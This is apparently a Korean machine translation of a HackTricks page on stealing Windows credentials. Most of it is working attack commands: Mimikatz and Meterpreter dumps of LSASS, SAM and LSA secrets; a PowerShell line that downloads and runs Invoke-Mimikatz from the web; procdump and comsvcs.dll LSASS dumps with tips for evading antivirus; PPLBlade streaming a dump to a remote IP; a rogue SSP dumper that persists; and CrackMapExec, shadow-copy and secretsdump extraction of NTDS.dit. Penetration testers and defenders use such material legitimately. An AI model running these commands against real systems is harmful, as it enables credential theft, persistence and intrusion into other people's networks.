Windows Credentials ํƒˆ์ทจ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Credentials Mimikatz

#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"

Mimikatz๊ฐ€ ํ•  ์ˆ˜ ์žˆ๋Š” ๋‹ค๋ฅธ ๊ฒƒ๋“ค์„ ์•Œ์•„๋ณด๋ ค๋ฉด this page.

Invoke-Mimikatz

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'

Learn about some possible credentials protections here. ์ด๋Ÿฌํ•œ ๋ณดํ˜ธ ์กฐ์น˜๋Š” Mimikatz๊ฐ€ ์ผ๋ถ€ credentials๋ฅผ ์ถ”์ถœํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Meterpreter๋ฅผ ์ด์šฉํ•œ Credentials

Use the Credentials Plugin ๋‚ด๊ฐ€ ๋งŒ๋“ ์„ ์‚ฌ์šฉํ•˜์—ฌ ํ”ผํ•ด์ž ๋‚ด๋ถ€์—์„œ passwords์™€ hashes๋ฅผ ๊ฒ€์ƒ‰ํ•˜์„ธ์š”.

#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump

#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"

#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"

AV ์šฐํšŒ

Procdump + Mimikatz

Procdump from SysInternals ๋Š” ์ •์‹ Microsoft ๋„๊ตฌ์ด๊ธฐ ๋•Œ๋ฌธ์— Defender์—์„œ ํƒ์ง€๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.\

์ด ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด dump the lsass process, download the dump, ๊ทธ๋ฆฌ๊ณ  dump์—์„œ extractํ•˜์—ฌ credentials locally๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋˜ํ•œ SharpDump๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Get it from webdav
\\live.sysinternals.com\tools\procdump.exe -accepteula -ma lsass.exe lsass.dmp
//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords

์ด ํ”„๋กœ์„ธ์Šค๋Š” SprayKatz๋กœ ์ž๋™์œผ๋กœ ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24

์ฐธ๊ณ : ์ผ๋ถ€ AV๋Š” procdump.exe to dump lsass.exe์˜ ์‚ฌ์šฉ์„ ์•…์„ฑ์œผ๋กœ ํƒ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๊ทธ๋“ค์ด โ€œprocdump.exeโ€ and โ€œlsass.exeโ€ ๋ฌธ์ž์—ด์„ ํƒ์ง€ํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ procdump์— lsass.exe์˜ PID๋ฅผ argument๋กœ passํ•˜์—ฌ ์ „๋‹ฌํ•˜๋Š” ๊ฒƒ์ด lsass.exe๋ผ๋Š” name lsass.exe๋ฅผ ์ง์ ‘ ์ „๋‹ฌํ•˜๋Š” ๊ฒƒ instead of ๋” stealthierํ•ฉ๋‹ˆ๋‹ค.

Dumping lsass with comsvcs.dll

C:\Windows\System32์— ์žˆ๋Š” comsvcs.dll์ด๋ผ๋Š” DLL์€ ์ถฉ๋Œ ์‹œ ํ”„๋กœ์„ธ์Šค ๋ฉ”๋ชจ๋ฆฌ ๋คํ”„๋ฅผ ๋‹ด๋‹นํ•ฉ๋‹ˆ๋‹ค. ์ด DLL์—๋Š” MiniDumpW๋ผ๋Š” function์ด ํฌํ•จ๋˜์–ด ์žˆ์œผ๋ฉฐ rundll32.exe๋กœ ํ˜ธ์ถœํ•˜๋„๋ก ์„ค๊ณ„๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.
์ฒซ ๋‘ ์ธ์ˆ˜๋Š” ์ค‘์š”ํ•˜์ง€ ์•Š์ง€๋งŒ, ์„ธ ๋ฒˆ์งธ ์ธ์ˆ˜๋Š” ์„ธ ๋ถ€๋ถ„์œผ๋กœ ๊ตฌ๋ถ„๋ฉ๋‹ˆ๋‹ค. ๋คํ”„ํ•  ํ”„๋กœ์„ธ์Šค ID๊ฐ€ ์ฒซ ๋ฒˆ์งธ ๋ถ€๋ถ„์„ ๊ตฌ์„ฑํ•˜๊ณ , ๋คํ”„ ํŒŒ์ผ ์œ„์น˜๊ฐ€ ๋‘ ๋ฒˆ์งธ ๋ถ€๋ถ„์„ ๋‚˜ํƒ€๋‚ด๋ฉฐ, ์„ธ ๋ฒˆ์งธ ๋ถ€๋ถ„์€ ์—„๊ฒฉํžˆ ๋‹จ์–ด full์ž…๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ์˜ต์…˜์€ ์กด์žฌํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
์ด ์„ธ ๊ตฌ์„ฑ์š”์†Œ๋ฅผ ํŒŒ์‹ฑํ•˜๋ฉด DLL์€ ๋คํ”„ ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜๊ณ  ์ง€์ •๋œ ํ”„๋กœ์„ธ์Šค์˜ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ•ด๋‹น ํŒŒ์ผ๋กœ ๊ธฐ๋กํ•ฉ๋‹ˆ๋‹ค.
comsvcs.dll์„ ์ด์šฉํ•˜๋ฉด lsass ํ”„๋กœ์„ธ์Šค๋ฅผ ๋คํ”„ํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ procdump๋ฅผ ์—…๋กœ๋“œํ•˜๊ณ  ์‹คํ–‰ํ•  ํ•„์š”๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ ์ž์„ธํžˆ https://en.hackndo.com/remote-lsass-dump-passwords/์— ์„ค๋ช…๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

๋‹ค์Œ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰์— ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค:

rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full

์ด ํ”„๋กœ์„ธ์Šค๋ฅผ ์ž๋™ํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค lssasy.

lsass๋ฅผ Task Manager๋กœ ๋คํ”„ํ•˜๊ธฐ

  1. Task Bar์—์„œ ์˜ค๋ฅธ์ชฝ ํด๋ฆญํ•˜๊ณ  Task Manager๋ฅผ ํด๋ฆญํ•ฉ๋‹ˆ๋‹ค.
  2. More details๋ฅผ ํด๋ฆญํ•ฉ๋‹ˆ๋‹ค.
  3. Processes ํƒญ์—์„œ โ€œLocal Security Authority Processโ€ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ฐพ์Šต๋‹ˆ๋‹ค.
  4. โ€œLocal Security Authority Processโ€ ํ”„๋กœ์„ธ์Šค๋ฅผ ์˜ค๋ฅธ์ชฝ ํด๋ฆญํ•˜๊ณ  โ€œCreate dump fileโ€œ์„ ํด๋ฆญํ•ฉ๋‹ˆ๋‹ค.

lsass๋ฅผ procdump๋กœ ๋คํ”„ํ•˜๊ธฐ

Procdump๋Š” Microsoft์—์„œ ์„œ๋ช…ํ•œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋กœ sysinternals ์Šค์œ„ํŠธ์˜ ์ผ๋ถ€์ž…๋‹ˆ๋‹ค.

Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp

Dumpin lsass with PPLBlade

PPLBlade๋Š” Protected Process Dumper Tool๋กœ, memory dump๋ฅผ ๋‚œ๋…ํ™”ํ•˜๊ณ  ๋””์Šคํฌ์— ์ €์žฅํ•˜์ง€ ์•Š๊ณ  ์›๊ฒฉ ์›Œํฌ์Šคํ…Œ์ด์…˜์œผ๋กœ ์ „์†กํ•˜๋Š” ๊ฒƒ์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค.

Key functionalities:

  1. PPL ๋ณดํ˜ธ ์šฐํšŒ
  2. Defender์˜ ์‹œ๊ทธ๋‹ˆ์ฒ˜ ๊ธฐ๋ฐ˜ ํƒ์ง€๋ฅผ ํšŒํ”ผํ•˜๊ธฐ ์œ„ํ•ด memory dump ํŒŒ์ผ์„ ๋‚œ๋…ํ™”
  3. RAW ๋ฐ SMB ์—…๋กœ๋“œ ๋ฐฉ๋ฒ•์œผ๋กœ memory dump๋ฅผ ๋””์Šคํฌ์— ์ €์žฅํ•˜์ง€ ์•Š๊ณ  ์—…๋กœ๋“œ(fileless dump)
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234

LalsDumper โ€“ MiniDumpWriteDump ์—†์ด SSP ๊ธฐ๋ฐ˜ LSASS ๋คํ”„

Ink Dragon๋Š” ์„ธ ๋‹จ๊ณ„๋กœ ๊ตฌ์„ฑ๋œ dumper์ธ LalsDumper๋ฅผ ๋ฐฐํฌํ•ฉ๋‹ˆ๋‹ค. ์ด dumper๋Š” MiniDumpWriteDump๋ฅผ ์ „ํ˜€ ํ˜ธ์ถœํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ ํ•ด๋‹น API์— ๋Œ€ํ•œ EDR ํ›…์ด ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค:

  1. Stage 1 loader (lals.exe) โ€“ fdp.dll์—์„œ ์†Œ๋ฌธ์ž d 32๊ฐœ๋กœ ๋œ ํ”Œ๋ ˆ์ด์Šคํ™€๋”๋ฅผ ์ฐพ์•„ ์ด๋ฅผ rtu.txt์˜ ์ ˆ๋Œ€ ๊ฒฝ๋กœ๋กœ ๋ฎ์–ด์“ฐ๊ณ , ํŒจ์น˜๋œ DLL์„ nfdp.dll๋กœ ์ €์žฅํ•œ ๋’ค AddSecurityPackageA("nfdp","fdp")๋ฅผ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ์ด๋กœ ์ธํ•ด LSASS๊ฐ€ ์•…์„ฑ DLL์„ ์ƒˆ๋กœ์šด Security Support Provider(SSP)๋กœ ๋กœ๋“œํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.
  2. Stage 2 inside LSASS โ€“ LSASS๊ฐ€ nfdp.dll์„ ๋กœ๋“œํ•˜๋ฉด, DLL์€ rtu.txt๋ฅผ ์ฝ๊ณ  ๊ฐ ๋ฐ”์ดํŠธ๋ฅผ 0x20์œผ๋กœ XORํ•œ ๋’ค ๋””์ฝ”๋“œ๋œ blob์„ ๋ฉ”๋ชจ๋ฆฌ์— ๋งคํ•‘ํ•˜๊ณ  ์‹คํ–‰์„ ๋„˜๊น๋‹ˆ๋‹ค.
  3. Stage 3 dumper โ€“ ๋งคํ•‘๋œ ํŽ˜์ด๋กœ๋“œ๋Š” ํ•ด์‹œ๋œ API ์ด๋ฆ„๋“ค๋กœ๋ถ€ํ„ฐ ์ง์ ‘ syscall์„ ํ•ด์„ํ•˜์—ฌ MiniDump ๋กœ์ง์„ ์žฌ๊ตฌํ˜„ํ•ฉ๋‹ˆ๋‹ค (seed = 0xCD7815D6; h ^= (ch + ror32(h,8))). Tom์ด๋ผ๋Š” ์ „์šฉ export๋Š” %TEMP%\<pid>.ddt๋ฅผ ์—ด์–ด ์••์ถ•๋œ LSASS ๋คํ”„๋ฅผ ํŒŒ์ผ์— ์ŠคํŠธ๋ฆฌ๋ฐํ•˜๊ณ  ํ•ธ๋“ค์„ ๋‹ซ์•„ ๋‚˜์ค‘์— exfiltrationํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

Operator notes:

  • lals.exe, fdp.dll, nfdp.dll, rtu.txt๋ฅผ ๊ฐ™์€ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ๋ณด๊ด€ํ•˜์„ธ์š”. Stage 1์€ ํ•˜๋“œ์ฝ”๋”ฉ๋œ ํ”Œ๋ ˆ์ด์Šคํ™€๋”๋ฅผ rtu.txt์˜ ์ ˆ๋Œ€ ๊ฒฝ๋กœ๋กœ ๋ฎ์–ด์“ฐ๋ฏ€๋กœ ํŒŒ์ผ์„ ๋ถ„๋ฆฌํ•˜๋ฉด ์ฒด์ธ์ด ๋Š์–ด์ง‘๋‹ˆ๋‹ค.
  • ๋“ฑ๋ก์€ HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages์— nfdp๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ์ด๋ค„์ง‘๋‹ˆ๋‹ค. ํ•ด๋‹น ๊ฐ’์„ ์ง์ ‘ ์„ค์ •ํ•˜๋ฉด LSASS๊ฐ€ ๋งค ๋ถ€ํŒ…๋งˆ๋‹ค SSP๋ฅผ ๋‹ค์‹œ ๋กœ๋“œํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • %TEMP%\*.ddt ํŒŒ์ผ๋“ค์€ ์••์ถ•๋œ ๋คํ”„์ž…๋‹ˆ๋‹ค. ๋กœ์ปฌ์—์„œ ์••์ถ•์„ ํ’€๊ณ  Mimikatz/Volatility์— ์ „๋‹ฌํ•ด ์ž๊ฒฉ์ฆ๋ช… ์ถ”์ถœ์„ ์ˆ˜ํ–‰ํ•˜์„ธ์š”.
  • lals.exe ์‹คํ–‰์—๋Š” admin/SeTcb ๊ถŒํ•œ์ด ํ•„์š”ํ•˜์—ฌ AddSecurityPackageA ํ˜ธ์ถœ์ด ์„ฑ๊ณตํ•ฉ๋‹ˆ๋‹ค; ํ˜ธ์ถœ์ด ๋ฐ˜ํ™˜๋˜๋ฉด LSASS๋Š” ํˆฌ๋ช…ํ•˜๊ฒŒ rogue SSP๋ฅผ ๋กœ๋“œํ•˜๊ณ  Stage 2๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.
  • ๋””์Šคํฌ์—์„œ DLL์„ ์‚ญ์ œํ•ด๋„ LSASS์—์„œ ์–ธ๋กœ๋“œ๋˜์ง€๋Š” ์•Š์Šต๋‹ˆ๋‹ค. ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ•ญ๋ชฉ์„ ์‚ญ์ œํ•˜๊ณ  LSASS๋ฅผ ์žฌ์‹œ์ž‘(๋˜๋Š” ์žฌ๋ถ€ํŒ…)ํ•˜์—ฌ ์ œ๊ฑฐํ•˜๊ฑฐ๋‚˜, ์žฅ๊ธฐ ์ง€์†์„ฑ์„ ์œ„ํ•ด ๊ทธ๋Œ€๋กœ ๋‘˜ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

CrackMapExec

SAM ํ•ด์‹œ ๋คํ”„

cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam

Dump LSA secrets

cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa

๋Œ€์ƒ DC์—์„œ NTDS.dit ๋คํ”„ํ•˜๊ธฐ

cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss

๋Œ€์ƒ DC์—์„œ NTDS.dit์˜ ์•”ํ˜ธ ์ด๋ ฅ ๋คํ”„

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history

๊ฐ NTDS.dit ๊ณ„์ •์˜ pwdLastSet ์†์„ฑ ํ‘œ์‹œ

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet

Stealing SAM & SYSTEM

์ด ํŒŒ์ผ๋“ค์€ C:\windows\system32\config\SAM ๋ฐ _C:\windows\system32\config\SYSTEM_์— ์œ„์น˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ผ๋ฐ˜์ ์ธ ๋ฐฉ๋ฒ•์œผ๋กœ๋Š” ๋‹จ์ˆœํžˆ ๋ณต์‚ฌํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ์ด ํŒŒ์ผ๋“ค์€ ๋ณดํ˜ธ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

๋ ˆ์ง€์ŠคํŠธ๋ฆฌ์—์„œ

ํ•ด๋‹น ํŒŒ์ผ๋“ค์„ ํƒˆ์ทจํ•˜๋Š” ๊ฐ€์žฅ ์‰ฌ์šด ๋ฐฉ๋ฒ•์€ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ์—์„œ ๋ณต์‚ฌ๋ณธ์„ ์–ป๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค:

reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security

๋‹ค์šด๋กœ๋“œ ํ•ด๋‹น ํŒŒ์ผ๋“ค์„ Kali ๋จธ์‹ ์œผ๋กœ ๊ฐ€์ ธ์˜ค๊ณ  ๋‹ค์Œ์„ ์‚ฌ์šฉํ•ด hashes๋ฅผ ์ถ”์ถœํ•˜์„ธ์š”:

samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL

Volume Shadow Copy

์ด ์„œ๋น„์Šค๋ฅผ ์‚ฌ์šฉํ•ด ๋ณดํ˜ธ๋œ ํŒŒ์ผ์„ ๋ณต์‚ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Administrator ๊ถŒํ•œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

vssadmin ์‚ฌ์šฉ

vssadmin binary๋Š” Windows Server ๋ฒ„์ „์—์„œ๋งŒ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SAM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit

# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

ํ•˜์ง€๋งŒ Powershell์—์„œ๋„ ๋™์ผํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ์€ SAM file์„ ๋ณต์‚ฌํ•˜๋Š” ๋ฐฉ๋ฒ•์˜ ์˜ˆ์ž…๋‹ˆ๋‹ค (์‚ฌ์šฉ๋œ ํ•˜๋“œ ๋“œ๋ผ์ด๋ธŒ๋Š” โ€œC:โ€œ์ด๊ณ  ์ €์žฅ ์œ„์น˜๋Š” C:\users\Public) ํ•˜์ง€๋งŒ ์ด๊ฒƒ์€ ์–ด๋–ค ๋ณดํ˜ธ๋œ ํŒŒ์ผ์„ ๋ณต์‚ฌํ•˜๋Š” ๋ฐ์—๋„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\system" C:\Users\Public
cmd /c copy "$($volume.DeviceObject)\windows\ntds\ntds.dit" C:\Users\Public
$volume.Delete();if($notrunning -eq 1){$service.Stop()}

์ฑ…์—์„œ ๊ฐ€์ ธ์˜จ ์ฝ”๋“œ: https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html

Invoke-NinjaCopy

๋งˆ์ง€๋ง‰์œผ๋กœ, PS script Invoke-NinjaCopy์„ ์‚ฌ์šฉํ•˜์—ฌ SAM, SYSTEM ๋ฐ ntds.dit์˜ ๋ณต์‚ฌ๋ณธ์„ ๋งŒ๋“ค ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"

Active Directory Credentials - NTDS.dit

NTDS.dit ํŒŒ์ผ์€ Active Directory์˜ ํ•ต์‹ฌ์œผ๋กœ ์•Œ๋ ค์ ธ ์žˆ์œผ๋ฉฐ, ์‚ฌ์šฉ์ž ๊ฐ์ฒด, ๊ทธ๋ฃน ๋ฐ ๊ทธ ๋ฉค๋ฒ„์‹ญ์— ๊ด€ํ•œ ์ค‘์š”ํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ๋ณด๊ด€ํ•ฉ๋‹ˆ๋‹ค. ๋„๋ฉ”์ธ ์‚ฌ์šฉ์ž์˜ password hashes๊ฐ€ ์ €์žฅ๋˜๋Š” ๊ณณ์ž…๋‹ˆ๋‹ค. ์ด ํŒŒ์ผ์€ Extensible Storage Engine (ESE) ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์ด๋ฉฐ **%SystemRoom%/NTDS/ntds.dit**์— ์œ„์น˜ํ•ฉ๋‹ˆ๋‹ค.

ํ•ด๋‹น ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—๋Š” ์„ธ ๊ฐ€์ง€ ์ฃผ์š” ํ…Œ์ด๋ธ”์ด ์œ ์ง€๋ฉ๋‹ˆ๋‹ค:

  • Data Table: ์ด ํ…Œ์ด๋ธ”์€ ์‚ฌ์šฉ์ž ๋ฐ ๊ทธ๋ฃน๊ณผ ๊ฐ™์€ ๊ฐ์ฒด์— ๋Œ€ํ•œ ์„ธ๋ถ€ ์ •๋ณด๋ฅผ ์ €์žฅํ•˜๋Š” ์—ญํ• ์„ ํ•ฉ๋‹ˆ๋‹ค.
  • Link Table: ๊ทธ๋ฃน ๋ฉค๋ฒ„์‹ญ๊ณผ ๊ฐ™์€ ๊ด€๊ณ„๋ฅผ ์ถ”์ ํ•ฉ๋‹ˆ๋‹ค.
  • SD Table: ๊ฐ ๊ฐ์ฒด์˜ Security descriptors๊ฐ€ ์—ฌ๊ธฐ์— ์ €์žฅ๋˜์–ด ์ €์žฅ๋œ ๊ฐ์ฒด๋“ค์— ๋Œ€ํ•œ ๋ณด์•ˆ ๋ฐ ์ ‘๊ทผ ์ œ์–ด๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

More information about this: http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/

Windows๋Š” ํ•ด๋‹น ํŒŒ์ผ๊ณผ ์ƒํ˜ธ์ž‘์šฉํ•˜๊ธฐ ์œ„ํ•ด _Ntdsa.dll_์„ ์‚ฌ์šฉํ•˜๋ฉฐ, ์ด๋Š” _lsass.exe_์— ์˜ํ•ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ NTDS.dit ํŒŒ์ผ์˜ ์ผ๋ถ€๋Š” lsass ๋ฉ”๋ชจ๋ฆฌ ๋‚ด๋ถ€์— ์œ„์น˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์„ฑ๋Šฅ ํ–ฅ์ƒ์„ ์œ„ํ•ด cache๋ฅผ ์‚ฌ์šฉํ•˜๋ฏ€๋กœ ์ตœ๊ทผ์— ์ ‘๊ทผ๋œ ๋ฐ์ดํ„ฐ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).

NTDS.dit ๋‚ด๋ถ€์˜ ํ•ด์‹œ ๋ณตํ˜ธํ™”

ํ•ด์‹œ๋Š” 3๋ฒˆ ์•”ํ˜ธํ™”๋ฉ๋‹ˆ๋‹ค:

  1. Password Encryption Key (PEK)๋ฅผ BOOTKEY์™€ RC4๋ฅผ ์‚ฌ์šฉํ•ด ๋ณตํ˜ธํ™”ํ•ฉ๋‹ˆ๋‹ค.
  2. PEK์™€ RC4๋ฅผ ์‚ฌ์šฉํ•ด hash๋ฅผ ๋ณตํ˜ธํ™”ํ•ฉ๋‹ˆ๋‹ค.
  3. DES๋ฅผ ์‚ฌ์šฉํ•ด hash๋ฅผ ๋ณตํ˜ธํ™”ํ•ฉ๋‹ˆ๋‹ค.

PEK๋Š” every domain controller์—์„œ same value๋ฅผ ๊ฐ€์ง€์ง€๋งŒ, NTDS.dit ํŒŒ์ผ ๋‚ด๋ถ€์—์„œ๋Š” domain controller์˜ **SYSTEM file of the domain controller (is different between domain controllers)**์˜ BOOTKEY๋ฅผ ์‚ฌ์šฉํ•ด cyphered๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋•Œ๋ฌธ์— NTDS.dit ํŒŒ์ผ์—์„œ ์ž๊ฒฉ ์ฆ๋ช…์„ ์–ป์œผ๋ ค๋ฉด NTDS.dit์™€ SYSTEM ํŒŒ์ผ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค (C:\Windows\System32\config\SYSTEM).

Ntdsutil๋ฅผ ์‚ฌ์šฉํ•œ NTDS.dit ๋ณต์‚ฌ

Available since Windows Server 2008.

ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit

You could also use the volume shadow copy ํŠธ๋ฆญ์œผ๋กœ ntds.dit ํŒŒ์ผ์„ ๋ณต์‚ฌํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ SYSTEM file์˜ ์‚ฌ๋ณธ๋„ ํ•„์š”ํ•˜๋‹ค๋Š” ์ ์„ ๊ธฐ์–ตํ•˜์„ธ์š”(๋‹ค์‹œ, dump it from the registry or use the volume shadow copy ํŠธ๋ฆญ).

NTDS.dit์—์„œ ํ•ด์‹œ ์ถ”์ถœ

NTDS.dit์™€ SYSTEM ํŒŒ์ผ์„ ์ž…์ˆ˜ํ•œ ํ›„ secretsdump.py ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•ด ํ•ด์‹œ๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt

๋˜ํ•œ ์œ ํšจํ•œ domain admin user๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ž๋™์œผ๋กœ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>

For ์šฉ๋Ÿ‰์ด ํฐ NTDS.dit ํŒŒ์ผ์˜ ๊ฒฝ์šฐ gosecretsdump๋ฅผ ์‚ฌ์šฉํ•ด ์ถ”์ถœํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค.

๋งˆ์ง€๋ง‰์œผ๋กœ, metasploit module: post/windows/gather/credentials/domain_hashdump ๋˜๋Š” mimikatz lsadump::lsa /inject๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

NTDS.dit์—์„œ ๋„๋ฉ”์ธ ๊ฐ์ฒด๋ฅผ SQLite ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋กœ ์ถ”์ถœํ•˜๊ธฐ

